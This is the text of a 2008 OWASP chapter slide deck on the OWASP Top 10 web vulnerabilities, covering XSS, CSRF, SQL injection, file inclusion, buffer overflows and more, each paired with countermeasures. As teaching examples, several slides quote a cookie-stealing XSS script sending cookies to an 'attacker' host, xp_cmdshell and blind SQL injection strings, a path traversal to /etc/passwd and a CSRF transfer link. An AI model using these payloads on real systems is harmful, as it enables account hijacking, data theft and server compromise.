IT Runs Better with ThousandEyes AI-driven Assurance
ThousandEyes
 
The Future of AI & Machine Learning.pptx
pritsen4700
 
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 

Owasp Top 10 - Owasp Pune Chapter - January 2008

  • 2. SANS @RISK December 2007 3 Dec 10 Dec 17 Dec 24 Dec 31 Dec Total Microsoft Products 2 3 12 0 2 19 Mac 2 2 2 4 0 10 Linux 10 5 8 11 0 34 Unix, Solaris, etc 5 3 3 4 1 16 Network Device 1 3 1 1 1 7 Others ( various ) 31 33 30 37 16 147 Web Applications 70 34 52 35 52 243
  • 3. “ The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security &quot;visible,&quot; so that people and organizations can make informed decisions about application security risks. Everyone is free to participate in OWASP and all of our materials are available under an open source license… ”
  • 4. U.S. Federal Trade Commission U.S. Defense Information Systems Agency U.S. DOD Information Technology Security Certification and Accreditation (C&A) Process (DITSCAP) Payment Card Industry (PCI) standard & some of the leading corporations around the globe …
  • 5. Vulnerability : is a hole or a weakness in the application, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of an application. Threats : A threat is any potential occurrence, malicious or otherwise, that could harm an asset. In other words, a threat is any bad thing that can happen to your assets. Attacks : An attack is an action that exploits a vulnerability or enacts a threat. Examples of attacks include sending malicious input to an application or flooding a network in an attempt to deny service. Countermeasures : Countermeasures are defensive technologies or modules that are used to detect, deter, or deny attacks.
  • 6.  
  • 7. A1 – Cross Site Scripting (XSS) ...................................................................................................................................... A2 – Injection Flaws ...................................................................................................................................... A3 – Malicious File Execution ...................................................................................................................................... A4 – Insecure Direct Object Reference ...................................................................................................................................... A5 – Cross Site Request Forgery (CSRF) ...................................................................................................................................... A6 – Information Leakage and Improper Error Handling ...................................................................................................................................... A7 – Broken Authentication and Session Management ...................................................................................................................................... A8 – Insecure Cryptographic Storage ...................................................................................................................................... A9 – Insecure Communications ...................................................................................................................................... A10 – Failure to Restrict URL Access ......................................................................................................................................
  • 9. Buffer is storage space for data. Buffer overflow occurs when too much data is written into the allocated space. It is well known vulnerability Attacker will inject data with shellcode into the allocated stack area. By over-writing return addresses he will run his malicious code.
  • 10. Common software security flaw Commonly affect C and C++ Google for buffer overflows.
  • 11. int main(int argc, void ** argv[]) { char buff[64]; strcpy(buff,argv[1]); return 0; } What will happen if we pass 100 character long string as a argument ???? No Boundary Check
  • 12. Buffer 1 Return address Other data -------------- --------------
  • 13. -------------- -------------- \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 \x90\x90\x90\x90 Return Address Filled Buffer with NOP’s and Shellcode Shellcode
  • 14. Occurs when too much data is written into the allocated heap area. Generally allocated by malloc(). Snippest: #define BUFSIZE 256 int main(int argc, char **argv) { char *buf; buf = (char *)malloc(BUFSIZE); strcpy(buf, argv[1]); }
  • 15. It occurs when user supplied input data is processed as a command by an application. The application doesn’t validate user supplied data. The format string functions are an ANSI C conversion functions like printf, fprintf, sprintf, snprintf etc.
  • 16. Format String parameters : %d, %c, %d, %n, %s etc When passed these arguments may, -- read values from the stack -- write values on the stack -- execute arbitrary code Example: printf (Input Data);
  • 17. Old EIP over-write method New techniques are evolved Structured Exception Handler Over-write Heap Spray Heap Feng Shui Not a part of this presentation Demo : Heap Spray 
  • 18. Avoid using functions such as strcpy (), strcat (), sprintf () and vsprintf () which perform no bounds checking. Always check the bounds of an array before writing it to a buffer. Validate user supplied data for format string parameters Use automated tools like fuzzers to test bo’s Manual code review – Best one, needs good efforts from Reviewer Follow OWASP guidelines www.owasp.org
  • 19. Exploit Demo using Heap Spray
  • 20.  
  • 21. The attack works by including a link in a webpage or an email that accesses a site to which the user is known to have authenticated. Very simple and Dangerous attack Got popular in recent times Performs GET/POST request of attacker’s choice on behalf of logged in user Also known as XSRF, Session Riding, Cross Site Reference Forgery, Hostile Linking etc
  • 22. It’s just one-click attack (According to MS) Malicious request can be embedded in <img>, <href>, <iframe> tags Website has a trust in user Browser will automatically parse the request based on user session cookies Example. Gmail flaw lets anyone to read the friend’s list
  • 24. Stored CSRF / Persistent - Example: Simply store it in <img> tag Reflected / Non – Persistent - Example: Send a malicious link
  • 25. www.bank.com Victim Attacker Logging Request Auth Cookies Legitimate Requests Sends an email containing malicious href tag. Click Here Transfer Money <a href= http://www.bank.com/transfer.php?acc=attacker&amount=$10000 > 1 2 3 4 5 6 7
  • 26. User logs into bank.com using user-id and password. The Bank.com sends cookies to the user if he is valid one for later authentication. User performs other request like balance enquiry etc. While user is online, he receives an email saying you have own $1,00,000. Innocent user clicks on the link without any concern. The link contains malicious fund transfer request. The request is sent to the bank.com by the browser treating it is a valid one. The money gets transferred to the attacker.
  • 27. Use security tokens or security key for every request URL and form posting Use POST request instead of GET Referrer header field check Manual testing for CSRF Re-authenticate the user for critical operations Log off before visiting unknown domains
  • 28. Use POST request instead of GET  Alone it is not sufficient, can be done using XmlHttpRequest using javascript Referrer header field check  Can be spoofed Best is to use random tokens/keys for every request
  • 29. ViewStateUserKey :Assigns an identifier to an individual user in the view state variable associated with the current page ASP. net property that helps you to prevent CSRF attacks Set this property to user-id or session id
  • 31.  
  • 32. XSS allow script to be executed at client side. Website allows a user to inject arbitrary HTML Code Exists due to bad input validation Forces a website to echo attacker’s supplied code Compromises trust between user and website
  • 33. May steal cookies, redirect you to another location Different from CSRF (cross site request forgery) Very known old bug Can be used for phishing
  • 34. Simple XSS :- <script> alert (‘XSS’) </script> Attack : http://test.com/test.php?var=<script>alert(‘XSS’)</script >; Attack: <a href= http://test.com/test.php?var=<script>alert(‘XSS’)</script>; ></a> Attack: <script>document.location=“http://attacker/steal_cookies.php?cookies=“+ document.cookie </script>
  • 35. Reflected XSS / Persistent Stored XSS / Non – Persistent DOM Based XSS
  • 36. Easiest to exploit Immediate response to HTTP request Page directly reflect user supplied data back to user Typically search engine results, error messages May reach you from email messages
  • 37. Reflected XSS BID - 21534
  • 38. Stores XSS in a database or file Stored permanently Very dangerous for blogs, forums Large number of victim gets affected while accessing stored XSS Eg. Samy Worm -- MySpace Worm JS-Yamanner – Yahoo Worm
  • 39.  
  • 40. Don’t send the malicious data to the server in the first place Insecure object reference and use of DOM objects that are not fully controlled by the server provided page Objects: location, URL, referrer etc Example: document.location + $username
  • 41. www.bank.com Victim Attacker Logging Request Auth Cookies Legitimate Requests Click Here Stolen Cookies 1 2 3 4 5 6 7 Sends malicious request <script>document. location=“http://attacker/steal_cookies.php?cookies=“+document. cookie</script>
  • 42. Powerful language Attacker can manipulate the webpage Can add new elements or change the look of the page Mostly used in XSS attack XSS can be carried out using VBScript, Activex, Flash etc
  • 43. HTML injection plus XSS Attacker used <embed> tag and Flash Orkut application failed to parse user supplied data Affected 7,00,000 accounts in 24 hours The worm only forces victim to join attacker’s own community. Attacker can have done even worse !!!
  • 44. Application copied all the data after wmode The code gets converted into javascript and flash object Attacker successfully inserted other script which will run his malicious code Orkut has patched this bug 
  • 45. Validate or encode all input parameters Output Encoding Output Encoding - Microsoft AntiXSS Library Filter every parameter of the request including header fields mainly <, > Check for length, type, syntax….. Use automated tools for finding XSS – Microsoft XSS Detect Use NoScript plug-in for firefox Disable Javascript if possible Don’t trust on suspicious emails Don’t visit untrusted websites
  • 47. SQL Injection The ability to inject SQL commands into the database engine through an existing application. How common it is? It is probably the most common Web application vulnerability. It is a flaw in &quot;web application&quot; development, it is not a DB or web server problem. Most programmers are still not aware of this problem. A lot of the tutorials & demo “templates” are vulnerable. Even worse, a lot of solutions posted on the Internet are not good enough.
  • 48. Almost all SQL databases and programming languages are potentially vulnerable MS SQL Server, Oracle, MySQL, Postgresql, DB2, MS Access, Sybase, Informix, etc Accessed through applications developed using: Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many more
  • 49. Extracting data from Metadata OS Interaction '; exec master..xp_servicecontrol 'start','FTP Publishing' – Assessing Network Connectivity '; exec master..xp_cmdshell 'ping MyIP' --
  • 50.  
  • 51. How does an attacker detect SQL Injection vulnerabilities on a web page? SQL Error messages Breaks the query syntax and looks for error messages. SQL Disclosure Injects variations of OR 1=1 and looks for Table growth. Union injection approach. Blind SQL Injection Injects True injection string ‘OR 1=1 and False Injection strings ‘AND 1=0 Compare original response, true response and false response. SQL Injection Time delay Targets the Insert, Update, Delete queries vulnerable to SQL Injection. Causes delay in execution of the query and obtains delay time. Compare default time and delay time to determine the vulnerability. Note: Time delay SQL clauses are database specific.
  • 52. SQL Error Messages Try to break syntax of SQL query Injection Strings: \‘ 1) ')); Detection Strings: java.sql.SQLException Internal Servlet Error: MySQL Error : Oracle SQL invalidation Sybase/MSSQL SQL invalidation error in your SQL syntax ODBC Microsoft Access Driver] Syntax error
  • 53. Blind SQL Injection Determine if a page is vulnerable based on responses to TRUE/FALSE queries Base query select * from table where col1 = ‘x’; Store response R0 TRUE query Inject: ‘ OR 1=1; -- Injected query: select * from table where col1 = ‘x’ OR 1=1 ;-- Store response R1 FALSE query Inject: ‘ AND 1=0; -- Injected query: select * from table where col1 = ‘x’ AND 1=0; -- Store response R2 If ( R0 is identical with R1/R0 is identical with R2) and R1 differs from R2 , page is vulnerable to exploitation via Blind SQL injection technique
  • 54. SQL Injection – Time delay Determine if a page is vulnerable based on default response time and delayed response time. Default response time Obtain the default response time per field by breaking the query - defaultTimeUsed . Delayed response time Inject “; waitfor delay ’00:00:15’” in the application query for every field. Obtain the delayed response time - actualTime . If actualTime > defaultTimeUsed + timeSpread - 500, page is vulnerable to SQL injection. (500 ms discrepancy allowed.)
  • 55. How to prevent SQL Injection? Development phase Input validation Parametrized queries QA phase Source code auditing Hack your own web application Production phase Web application firewall (Intrusion Detection System)
  • 56. Sample secure code Input validation if (<validating_condition>) String sqlQuery = “SELECT * FROM users WHERE userid = ‘” + username + ‘”; else throw new IllegalArgumentException(); if (<validating_condition>) could be a simple length check, such as: if (username.length() < MAX_POSSIBLE_LENGTH) if ( username.matches(“[0-9a-zA-Z’]*”) ) if ( username.matches(“\b[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b”) )
  • 57. Sample secure code Prepared statement String username = httpRequest.getParameter(“username”); String query = “SELECT * FROM users WHERE userid = ?”; PreparedStatement stmt = db_conn.prepareStatement(query); stmt.setString(1, username); ResultSet results = stmt.executeQuery();
  • 58. SQL Injection is one of the most dangerous attack in the Web application security world. An attacker can not only access the information thatshould be normally be inaccessible but also steal your money electronically. Never underestimate SQL Injection vulnerability and secure your application right from the development tothe production phase.
  • 59.  
  • 60. OWASP Definition: Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.
  • 61. A common vulnerable construct is: include $_REQUEST['filename’]; Not only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is hosted upon Windows) due to SMB support in PHP’s file system wrappers. Other methods of attack include: Hostile data being uploaded to session files, log data, and via image uploads (typical of forum software) Using compression or audio streams, such as zlib:// or ogg:// which do not inspect the internal PHP URL flag and thus allow access to remote resources even if allow_url_fopen or allow_url_include is disabled Using PHP wrappers, such as php://input and others to take input from the request POST data rather than a file Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+
  • 62. Do not allow user input to be used for any part of a file or path name. Where user input must influences a file name or URL, use a fully enumerated list to positively validate the value. File uploads have to be done VERY carefully. Only allow uploads to a path outside of the webroot so it can not be executed Validate the file name provided so that a directory path is not included. Implement or enable sandbox or chroot controls which limit the applications access to files.
  • 64. OWASP Definition: A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.
  • 65. Many applications expose their internal object references to users. Attackers use parameter tampering to change references and violate the intended but unenforced access control policy. Frequently, these references point to file systems and databases, but any exposed application construct could be vulnerable. For example, if code allows user input to specify filenames or paths, it may allow attackers to jump out of the application’s directory, and access other resources. <select name=&quot;language&quot;><option value=&quot;fr&quot;> Français </option> </select> … require_once ($_REQUEST['language’].&quot;lang.php&quot;); Such code can be attacked using a string like &quot;../../../../etc/passwd%00&quot; using null byte injection (see the OWASP Guide for more information) to access any file on the web server’s file system
  • 66. Avoid exposing private object references to users whenever possible, such as primary keys or filenames Validate any private object references extensively with an &quot;accept known good&quot; approach Verify authorization to all referenced objects
  • 67.  
  • 68. OWASP Definition: Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks.
  • 69. Applications frequently generate error messages and display them to users. Many times these error messages are quite useful to attackers, as they reveal implementation details or information that is useful in exploiting a vulnerability. There are several common examples of this: Detailed error handling, where inducing an error displays too much information, such as stack traces, failed SQL statements, or other debugging information Functions that produce different results based upon different inputs. For example, supplying the same username but different passwords to a login function should produce the same text for no such user, and bad password. However, many systems produce different error codes
  • 70. Prevent display of detailed internal error messages including stack traces, messages with database or table names, protocols, and other error codes. (This can provide attackers clues as to potential flaws.) Good error handling systems should always enforce the security scheme in place while still being able to handle any feasible input. Provide short error messages to the user while logging detailed error information to an internal log file. Diagnostic information is available to site maintainers Vague messages indicating an internal failure provided to the users Provide just enough information to allow what is reported by the user to be able to linked the internal error logs. For example: System Time-stamp, client IP address, and URL
  • 71. Ensure sensitive responses with multiple outcomes return identical results Save the different responses and diff the html, the http headers & URL. Ensure error messages are returned in roughly the same time. or consider imposing a random wait time for all transactions to hide this detail from the attacker.
  • 72.  
  • 73. OWASP Definition: Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities.
  • 74. HTTP/s Protocol does not provide tracking of a users session. Session tracking answers the question: After a user authenticates how does the server associate subsequent requests to the authenticated user? Typically, Web Application Vendors provide a built-in session tracking, which is good if used properly. Often developers will make the mistake of inventing their own session tracking. Cookie Cruncher
  • 75. Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question, and account update.
  • 76. Session ID is disclosed or is guessed. An attacker using the same session ID has the same privileges as the real user. Especially useful to an attacker if the session is privileged. Allows initial access to the Web application to be combined with other attacks.
  • 77. Use long complex random session ID that cannot be guessed. Protect the transmission and storage of the Session ID to prevent disclosure and hijacking. A URL query string should not be used for Session ID or any User/Session information URL is stored in browser cache Logged via Web proxies and stored in the proxy cache Example: https://www.example.net/servlet/login ?userid=ralph&password=dumb
  • 78. Password Change Controls - require users to provide both old and new passwords Forgotten Password Controls - if forgotten passwords are emailed to users, they should be required to re-authenticate whenever they attempt to change their email address. Password Strength - require at least 7 characters, with letters, numbers, and special characters both upper case and lower case. Password Expiration - Users must change passwords every 90 days, and administrators every 30 days.
  • 79. Password Storage - never store passwords in plain text. Passwords should always be stored in either hashed (preferred) or encrypted form. Protecting Credentials in Transit - to prevent &quot;man-in-the-middle&quot; attacks the entire authenticated session / transaction should be encrypted SSLv3 or TLSv1 Man-in-the-middle attacks - are still possible with SSL if users disable or ignore warnings about invalid SSL certificates. Replay attacks - Transformations such as hashing on the client side provide little protection as the hashed version can simply be intercepted and retransmitted so that the actual plain text password is not needed.
  • 80. login.asp homepage.asp login.asp homepage.asp logoff Client Server GET www.abc.com www.abc.com/login.asp POST username + password www.abc.com/homepage.asp
  • 81. login.asp authenticate.asp login.asp Redirect request logoff homepage.asp homepage.asp Client Server GET www.abc.com www.abc.com/login.asp POST username + password Redirect : www.abc.com/homepage.asp GET www.abc.com/homepage.asp www.abc.com/homepage.asp
  • 82. OWASP Definition: Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.
  • 83. Preventing cryptographic flaws takes careful planning. The most common problems are: Not encrypting sensitive data Using home grown algorithms Insecure use of strong algorithms Continued use of proven weak algorithms (MD5, SHA-1, RC3, RC4, etc…) Hard coding keys, and storing keys in unprotected stores
  • 84. Improper/insecure storage of passwords, certifications, and keys Poor choice of algorithm Poor source of randomness for initialization vectors Attempting to develop a new encryption scheme &quot;in house” (Always a BAD idea) Failure to provide functionality to change encryption keys 1] SQL credentials 2] x = input(); y=f(x);
  • 85. Do not create cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing. Do not use weak algorithms, such as MD5 / SHA1. Favor safer alternatives, such as SHA-256 or better Generate keys offline and store private keys with extreme care. Never transmit private keys over insecure channels Ensure that infrastructure credentials such as database credentials or MQ queue access details are properly secured. Ensure that encrypted data stored on disk is not easy to decrypt.
  • 86. OWASP Definition: Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications .
  • 87. Failure to encrypt sensitive communications means that an attacker who can sniff traffic from the network will be able to access the conversation, including any credentials or sensitive information transmitted. Using SSL for communications with end users is critical, as they are very likely to be using insecure networks to access applications. Because HTTP includes authentication credentials or a session token with every single request, all authenticated traffic needs to go over SSL, not just the actual login request. Encrypting communications with backend servers is also important. Although these networks are likely to be more secure, the information and credentials they carry is more sensitive and more extensive. Therefore using SSL on the backend is quite important.
  • 88. Use SSL for all connections that are authenticated or transmitting sensitive or value data, such as credentials, credit card details, health and other private information Ensure that communications between infrastructure elements, such as between web servers and database systems, are appropriately protected via the use of transport layer security or protocol level encryption for credentials and intrinsic value data Under PCI Data Security Standard requirement 4, you must protect cardholder data in transit. PCI DSS compliance is mandatory by 2008 for merchants and anyone else dealing with credit cards.
  • 89. OWASP Definition: Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.
  • 90. The primary attack method for this vulnerability is called &quot;forced browsing&quot;, which encompasses guessing links and brute force techniques to find unprotected pages. Applications frequently allow access control code to evolve and spread throughout a codebase, resulting in a complex model that is difficult to understand for developers and security specialists alike. This complexity makes it likely that errors will occur and pages will be missed, leaving them exposed. .
  • 91. Ensure the access control matrix is part of the business, architecture, and design of the application Ensure that all URLs and business functions are protected by an effective access control mechanism Perform a penetration test Pay close attention to include/library files Do not assume that users will be unaware of special or hidden URLs or APIs. Block access to all file types that your application should never serve. Keep up to date with virus protection and patches
  • 92. OWASP “THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES” 2007 Update ( www.owasp.org ) Microsoft :: Improving Web Application Security : Threats and Countermeasures ( http://www.microsoft.com/downloads/details.aspx?familyid=E9C4BFAA-AF88-4AA5-88D4-0DEA898C31B9&displaylang=en ) SANS @Risk ( www.sans.org ) SPI Dynamics ( http://spidynamics.com/index.html ) FoundStone HacMe resources ( http://www.foundstone.com/us/resources-free-tools.asp )